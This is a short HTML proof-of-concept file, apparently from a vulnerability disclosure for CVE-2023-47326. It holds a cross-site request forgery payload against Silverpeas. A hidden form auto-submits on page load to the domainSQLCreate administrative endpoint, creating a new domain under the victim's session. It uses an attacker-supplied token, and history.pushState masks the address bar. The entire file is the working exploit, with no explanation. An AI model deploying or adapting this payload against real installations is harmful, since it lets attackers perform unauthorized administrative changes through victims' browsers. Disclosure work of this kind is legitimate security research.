CVE-2023-47326/CVE-2023-47326.html

 <html>
   <body>
     <form action="http://localhost:8080/silverpeas/RjobDomainPeas/jsp/domainSQLCreate">
       <input type="hidden" name="domainName" value="Created&#45;By&#45;CSRF" />
       <input type="hidden" name="domainDescription" value="" />
       <input type="hidden" name="silverpeasServerURL" value="http&#58;&#47;&#47;localhost&#58;8080&#47;silverpeas" />
       <input type="hidden" name="X&#45;STKN" value="[AttackerSTKNToken]" />
       <input type="submit" value="Submit request" />
     </form>
     <script>
       history.pushState('', '', '/');
       document.forms[0].submit();
     </script>
   </body>
 </html>